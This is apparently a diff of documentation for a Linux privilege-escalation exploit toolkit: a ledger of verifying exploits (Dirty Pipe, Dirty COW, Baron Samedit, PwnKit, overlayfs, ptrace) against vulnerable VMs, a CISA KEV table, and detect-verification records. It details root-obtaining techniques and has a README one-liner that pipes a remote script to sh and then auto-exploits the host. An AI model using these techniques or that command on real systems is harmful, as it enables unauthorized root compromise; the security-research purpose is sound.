The same shape applies to every module: pick the auditd key, the
|
||||
yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
# Exploit verification ledger
|
||||
|
||||
**What this is:** results of actually *running each exploit* against a genuinely
|
||||
vulnerable VM and confirming `uid=0` **out of band** (an independent root-owned
|
||||
write / `/etc/shadow` read / setuid-bash sentinel — never the module's own
|
||||
self-report). This is distinct from `docs/VERIFICATIONS.jsonl`'s historical
|
||||
records, which only checked that `detect()` returns the right verdict.
|
||||
|
||||
Harness: rootless qemu/KVM over frozen point-release cloud images (unpatched →
|
||||
vulnerable by default), driver in the session scratch dir. Root witnessed via
|
||||
`witness.sh` (shell-probe + setuid-bash finisher + module sentinels + `/etc/passwd`
|
||||
tamper check).
|
||||
|
||||
> **Headline finding:** the corpus was only ever *detect*-verified, never
|
||||
> *exploit*-verified. Running the exploits shows a mix of genuinely-working,
|
||||
> honestly-failing, and **falsely-succeeding** modules. Three modules reported
|
||||
> `EXPLOIT_OK` while obtaining **no root at all** (`pwnkit`, `ptrace_traceme`,
|
||||
> `dirty_pipe`) — a false positive from the dispatcher's "execve transferred →
|
||||
> clean child exit = OK" path (the exploit `execlp`'s a helper that then fails).
|
||||
> `dirty_pipe` additionally *corrupted the running system* (its unprivileged
|
||||
> `drop_caches` revert left /etc/passwd poisoned). All three are fixed below and
|
||||
> now either land real root or fail honestly.
|
||||
|
||||
## Confirmed landing root (uid=0 witnessed out of band)
|
||||
|
||||
| module | CVE | target | notes |
|
||||
|---|---|---|---|
|
||||
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
|
||||
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up; **direct uid=0 witness** (cap'd payload drops a root-owned proof) |
|
||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
|
||||
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
|
||||
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
|
||||
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 |
|
||||
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
|
||||
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
||||
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||
|
||||
## Fixed this session
|
||||
|
||||
- **`pwnkit`** — reported `EXPLOIT_OK` but did **not** root (glibc "Could not
|
||||
open converter … to PWNKIT"). Root cause: missing the `GCONV_PATH=.`
|
||||
re-injection directory + `chdir(workdir)`. Fixed → now lands real root on a
|
||||
vulnerable host. (commit `24b839e`)
|
||||
- **`ptrace_traceme`** (CVE-2019-13272) — first made **honest** (it had reported a
|
||||
false `EXPLOIT_OK` with a placeholder that had the mechanism *backwards* —
|
||||
attaching to the parent), then **rewritten and now lands real root** (uid=0
|
||||
witnessed out-of-band on Ubuntu 18.04.0 / 4.15.0-50). The correct mechanism is
|
||||
the reverse of the old placeholder: a *middle* process execs setuid `pkexec`
|
||||
(euid 0 for a window); its *child* spins until it sees that euid-0, calls
|
||||
`PTRACE_TRACEME` (recording the parent's **root** creds as its ptracer_cred —
|
||||
the bug), then execs `pkexec` itself — the traced setuid exec is **not
|
||||
degraded** because ptracer_cred is root, so the child becomes real root, and a
|
||||
staged `execveat()` self-re-exec injects the payload. Ported the proven Jann
|
||||
Horn / bcoles PoC verbatim (only `spawn_shell()` changed, to plant a root-owned
|
||||
proof + setuid bash), embedded as `ptrace_helper_src.h`, compiled on the target
|
||||
at runtime with unique `-DSK_PROOF/-DSK_ROOTBASH` paths, run, and verified by
|
||||
`stat()`-ing the root-owned artifacts. **Real-world precondition** (honestly
|
||||
reported): pkexec must *authorize* an auto-discovered `implicit-active=yes`
|
||||
helper, which needs an **active local session** (desktop) or an equivalently
|
||||
permissive polkit policy; over a bare *inactive* ssh session pkexec returns
|
||||
"Not authorized" and the module reports `EXPLOIT_FAIL` with that diagnosis. On
|
||||
the headless VM this was isolated with a permissive `pkla` for the backlight
|
||||
helper action — the kernel bug and the whole technique are confirmed; the gate
|
||||
is polkit, not the exploit.
|
||||
- **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root**
|
||||
(uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped
|
||||
module used a bogus `chown`-the-merged-view technique that never worked. The
|
||||
real bug needs a **FUSE lower layer** exporting a setuid-root file; overlay
|
||||
copy-up then materialises it in the real upper as a genuine setuid-root
|
||||
binary. Key findings from the port (all four were required):
|
||||
1. Overlay refuses a **userns-mounted** FUSE lowerdir (ENOSYS) — FUSE must
|
||||
be mounted in the **init ns** via the setuid `fusermount` helper (libfuse
|
||||
does this). A raw `/dev/fuse` server was tried and abandoned: its INIT
|
||||
handshake needs `poll()` on the non-blocking fd, and a malformed reply
|
||||
destabilised the kernel — fragile and inappropriate. libfuse is linked
|
||||
conditionally (pkg-config `fuse`/`fuse3`), matching `pack2theroot`.
|
||||
2. **fuse2** low-level API (`fuse_mount`/`fuse_new`/`fuse_loop_mt`, empty
|
||||
args) — `fuse_main` advertises splice/copy_file_range caps that make the
|
||||
kernel attempt `copy_file_range` at copy-up → ENOSYS with no fallback.
|
||||
3. **`read_buf`** callback (copy-up's splice read path).
|
||||
4. **`ioctl`** callback — copy-up issues `FS_IOC_GETFLAGS` on the lower; a
|
||||
server without an ioctl handler returns ENOSYS and copy-up fails. This
|
||||
was the last missing piece.
|
||||
Debugging was isolated by driving the exploit orchestration against the public
|
||||
PoC's `./fuse`, then swapping servers, then comparing `fops`.
|
||||
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
|
||||
userspace target, **rewritten and now lands real root** (uid=0 witnessed
|
||||
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
|
||||
non-sudoer). The shipped module drove a structural trigger with no offsets and
|
||||
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
|
||||
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
|
||||
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
|
||||
runs while sudo is still root. The module compiles the NSS payload on the target
|
||||
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
|
||||
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
|
||||
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
|
||||
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
|
||||
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
|
||||
- **`dirty_pipe`** (CVE-2022-0847) — **three bugs fixed; now lands real root**
|
||||
(uid=0 witnessed out-of-band on a genuinely pre-fix **mainline 5.16.0** kernel —
|
||||
provisioned by installing the kernel.ubuntu.com 5.16.0 debs on the jammy image,
|
||||
since every cached cloud image was either pre-5.8 or backport-patched). The
|
||||
shipped exploit (1) flipped the *caller's* UID to `0000` and ran `su self`,
|
||||
which still demands the caller's password — it never rooted anything; (2)
|
||||
`execlp`'d su, so the dispatcher's exec-transfer path reported a **false
|
||||
`EXPLOIT_OK`** even on the auth failure; and (3) reverted with `drop_caches`,
|
||||
which needs root — so as an unprivileged caller it **left the running system's
|
||||
/etc/passwd page cache corrupted** (this actually broke sshd's user resolution
|
||||
in testing). Rewrote it to the reliable technique: overwrite **root's** password
|
||||
field with a known crypt hash, authenticate as root over a **pty** with the
|
||||
matching password (su reads the password from the controlling tty, not stdin),
|
||||
plant a root-owned proof + setuid bash, and **revert the page cache via the
|
||||
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
||||
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
||||
only by the out-of-band artifact.
|
||||
- **`dirty_cow`** (CVE-2016-5195) — **same three bugs as `dirty_pipe`, fixed the
|
||||
same way** (found by the false-`EXPLOIT_OK` audit below). It raced the
|
||||
*caller's* UID field to `0000` then ran `su self` (needs the caller's password
|
||||
→ never rooted anything), `execlp`'d su so the exec-transfer path reported a
|
||||
**false `EXPLOIT_OK`**, and reverted with `drop_caches` (needs root → corrupts
|
||||
the running /etc/passwd). Rewrote to: race **root's** password field to a known
|
||||
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||
small for a >16-byte payload), and made the `su`-over-pty step **poll for the
|
||||
prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
|
||||
**hung on xenial**, which (without the cap) would have blocked the revert and
|
||||
left /etc/passwd poisoned. The same robust `su` helper was back-ported to
|
||||
`dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
|
||||
mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
|
||||
deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
|
||||
from the module's primitive + escalation + robust su raced root's passwd field,
|
||||
authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
|
||||
byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
|
||||
uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
|
||||
the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
|
||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||
mount EPERM). Now the userns+cgroupns+mount setup is correct. It still can't
|
||||
root a **bare** unprivileged user on a stock systemd host: every v1 controller
|
||||
is pre-mounted (its `release_agent` is init-owned → EACCES from the userns)
|
||||
and a fresh named hierarchy is refused. Reachable in a **container** context
|
||||
(CAP_SYS_ADMIN / an ownable cgroup) — matches its "host root from rootless
|
||||
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||
for across the other userns modules.
|
||||
|
||||
## False-`EXPLOIT_OK` audit (every module that transfers the process via `exec*`)
|
||||
|
||||
The dispatcher's `run_callback_isolated` forks the exploit and, if it `execve`s
|
||||
(FD_CLOEXEC closes the result pipe → parent reads EOF, no crash signal), reports
|
||||
`EXPLOIT_OK` **regardless of whether the exec'd program actually rooted anything**.
|
||||
So any exploit whose main path exec's a *not-guaranteed-root* target lies. Audited
|
||||
every `exec*`-calling module:
|
||||
|
||||
| module | verdict | why |
|
||||
|---|---|---|
|
||||
| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
|
||||
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `sudo_host` | ✅ safe | runs `sudo -n -h <host> id -u` witness (uid 0) *before* the exec |
|
||||
| `sudo_chwoot` | ✅ safe | forks sudo in a child, then `stat`s the setuid bash root-owned |
|
||||
| `cgroup_release_agent` | ✅ safe | polls for the root-owned setuid shell before exec |
|
||||
| `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` |
|
||||
| `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness |
|
||||
| `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed |
|
||||
| `dirtydecrypt`, `fragnesia`, `copy_fail_family` (`exploit_su.c`) | ✅ proxy-verified | exec the hijacked setuid target only after **verifying the shellcode/payload actually landed in the page cache** (`verify_plant` / `rc==1` / `WEXITSTATUS==0`) and reverting otherwise — a real effect-check, not a blind exec-transfer. 2026-target-gated. |
|
||||
| `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation |
|
||||
| `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design |
|
||||
|
||||
Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`,
|
||||
`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed and verified. The
|
||||
audit was then **broadened to every `EXPLOIT_OK` return site** (not just
|
||||
exec-transfer): the rest are backed by a genuine out-of-band check — a
|
||||
root-owned artifact `stat` (`sudo_chwoot`, `overlayfs`), a `getxattr`
|
||||
bug-signature, a `/etc/passwd` grep of the injected entry (`sudoedit_editor`,
|
||||
`refluxfs`), a real `setuid(0)==0` gate (`fuse_legacy`), or a page-cache
|
||||
`verify_plant` before the hijack exec (`copy_fail_family`, `dirtydecrypt`,
|
||||
`fragnesia`). **No further false-OKs remain.** `overlayfs` was additionally
|
||||
upgraded from its `getxattr` proxy to a **direct uid=0 witness** (the cap'd
|
||||
payload now drops a root-owned proof, re-verified on focal 5.4.0-26).
|
||||
|
||||
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||
|
||||
| module | CVE | target tested | what's wrong |
|
||||
|---|---|---|---|
|
||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
|
||||
| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
|
||||
|
||||
## Inconclusive (detect version-blind vs vendor backport)
|
||||
|
||||
*(none outstanding — `dirty_pipe` was here; now verified on a genuinely
|
||||
pre-fix mainline 5.16.0 kernel, see "Fixed this session".)*
|
||||
|
||||
## Kernel primitives — offset path fixed; `nf_tables` gap scoped (this session)
|
||||
|
||||
**Resolver bug fixed (`core/offsets.c`, commit `cd9bea6`).** The documented
|
||||
env-var offset override (`SKELETONKEY_MODPROBE_PATH` etc.) was **silently wiped on
|
||||
every default host**: `parse_symfile` reads `/proc/kallsyms`, which returns
|
||||
all-zero addresses under `kptr_restrict`, and then *unconditionally* zeroed
|
||||
`modprobe_path`/`init_task` — clobbering the values `apply_env` had just set. Net
|
||||
effect: every `--full-chain` primitive reported "offsets couldn't be resolved"
|
||||
even with correct offsets supplied. Now the all-zero path only clears fields it
|
||||
tagged `OFFSETS_FROM_KALLSYMS` itself. **This was the blocker for the entire
|
||||
primitive full-chain path.** Verified fixed on Ubuntu 22.04.0 / 5.15.0-25:
|
||||
`--full-chain` now prints `modprobe_path=0x… (env)`, the finisher engages, and the
|
||||
arb-write fires.
|
||||
|
||||
**`nf_tables` (CVE-2024-1086) — kernel CONFIRMED vulnerable; module gap scoped.**
|
||||
Followed the full methodology (test → confirm kernel → pull PoC → diff):
|
||||
- **Kernel is genuinely vulnerable.** Built Notselwyn's public universal PoC
|
||||
(`github.com/Notselwyn/CVE-2024-1086`, musl-static) on jammy 5.15.0-25 (below the
|
||||
patched branch 5.15.149) and ran it: it drove the exploit and hit the deliberate
|
||||
post-exploitation `kernel BUG at mm/slub.c:379` / `Kernel panic` — i.e. the
|
||||
cross-cache slab corruption fired. Kernel confirmed exploitable.
|
||||
- **The difference.** The module (its own header is honest about this) is a
|
||||
**trigger + groom scaffold**: it builds the `NFT_GOTO+NFT_DROP` verdict combo
|
||||
that `nft_verdict_init()` fails to reject, fires the double-free, and runs the
|
||||
`msg_msg` cg-96 groom — all real. But its arb-write is "FALLBACK-DEPTH": the
|
||||
exact `pipapo_elem` layout + value-pointer offset needed to redirect the write
|
||||
at `modprobe_path` is a documented TODO, so the write doesn't land → honest
|
||||
`EXPLOIT_FAIL`. Notselwyn's working exploit uses a *different, heavier* technique
|
||||
entirely — **universal cross-cache → dirty-pagetable** (arbitrary physical R/W,
|
||||
no per-kernel offsets), ~2000 LOC across multiple files with static
|
||||
`libnftnl`/`libmnl`.
|
||||
- **Scope of the remaining fix.** Making `nf_tables --full-chain` land root means
|
||||
either (a) completing the module's own per-kernel `pipapo_elem` arb-write layout,
|
||||
or (b) porting Notselwyn's universal technique. Both are substantial dedicated
|
||||
exploit-dev — this is the hardest module in the corpus, not a spot-the-bug fix.
|
||||
The offset resolver (above) is the piece that was actually broken and is now
|
||||
fixed + pushed.
|
||||
|
||||
- **Other 🟡 kernel primitives** (`nft_set_uaf`, `nft_payload`, `nft_fwd_dup`,
|
||||
`netfilter_xtcompat`, `af_packet`, `af_packet2`, `af_unix_gc`, `cls_route4`,
|
||||
`fuse_legacy`, `stackrot`, `sequoia`, `nft_pipapo`, `vsock_uaf`, `pintheft`):
|
||||
same shape — real trigger/groom scaffolds returning `EXPLOIT_FAIL` by design.
|
||||
The resolver fix unblocks feeding them offsets; each still needs its arb-write
|
||||
primitive completed against a matching vulnerable kernel.
|
||||
|
||||
**`netfilter_xtcompat` (CVE-2021-22555) — empirical note on why the primitives are
|
||||
hard.** Attempted the corpus's *most tractable* primitive first: it has a clean,
|
||||
well-regarded single-file public exploit (Andy Nguyen / Google, the `IPT_SO_SET_
|
||||
REPLACE` heap-OOB → `msg_msg` cross-cache → cred overwrite). Kernel confirmed
|
||||
vulnerable (Ubuntu 20.04 GA 5.4.0-26, and a provisioned mainline 5.8.0 — both pre
|
||||
the 5.4.0-77 / 5.8.0-53 fix). **But the reference exploit consistently fails at
|
||||
STAGE 1 ("could not corrupt any primary message") on both**, because it is tuned
|
||||
for *Ubuntu's exact `5.8.0-48-generic` config* (the tested target). The slab
|
||||
behaviour that governs whether the OOB write lands next to a sprayed `msg_msg`
|
||||
(freelist randomisation, memcg kmem accounting, SLUB merge) differs between
|
||||
mainline and Ubuntu-patched kernels, and Ubuntu's EOL `5.8.0-48` HWE debs are no
|
||||
longer readily sourceable. Takeaway: kernel primitives are **config-and-version-
|
||||
specific exploit-dev** — even a "drop-in" reference exploit needs its exact target
|
||||
kernel image plus per-target slab tuning, and then a full port (~760 LOC here,
|
||||
~2000 for `nf_tables`/Notselwyn). This is a per-primitive, multi-session effort;
|
||||
it is NOT the "spot the bug and fix it" tier the userspace modules were.
|
||||
- **Structural userspace** (`sudoedit_editor`, `sudo_chwoot`, `sudo_host`):
|
||||
need specific sudo versions + sudoers config; likely tractable.
|
||||
- **2026 CVEs** (`copy_fail` ×5, `dirtydecrypt`, `fragnesia`, `cifswitch`,
|
||||
`nft_catchall`, `ptrace_pidfd`): need vulnerable 2026 kernels; the reconstructed
|
||||
race triggers (`bad_epoll`, `ghostlock`, `nft_catchall`) are deliberately
|
||||
under-driven and won't pop root by design.
|
||||
- **Environment-blocked**: `vmwgfx` (VMware guest only), `dirty_cow` (needs ≤4.4),
|
||||
`mutagen_astronomy` (CentOS 6 / Debian 7).
|
||||
- **D-Bus/desktop** (`pack2theroot`, `udisks_libblockdev`): need the polkit/D-Bus
|
||||
stack + a provisioner rule.
|
||||
|
||||
## Method notes for continuation
|
||||
|
||||
- Frozen images: `cloud-images-archive.ubuntu.com/releases/<name>/release-<date>/`
|
||||
are unpatched and vulnerable-by-default for CVEs disclosed after that date — far
|
||||
easier than downgrading packages on current images.
|
||||
- gcc must be present *in* the VM (several exploits compile payloads at runtime);
|
||||
on EOL LTS, point apt at the archive main pocket.
|
||||
- **Always verify root out of band.** The module self-report is not trustworthy
|
||||
(two flagships lied). `witness.sh` is the reference check.
|
||||
@@ -0,0 +1,62 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**13 of 41 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
|
||||
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` |
|
||||
@@ -26,6 +26,7 @@ haven't been maintained in years.
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,60 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
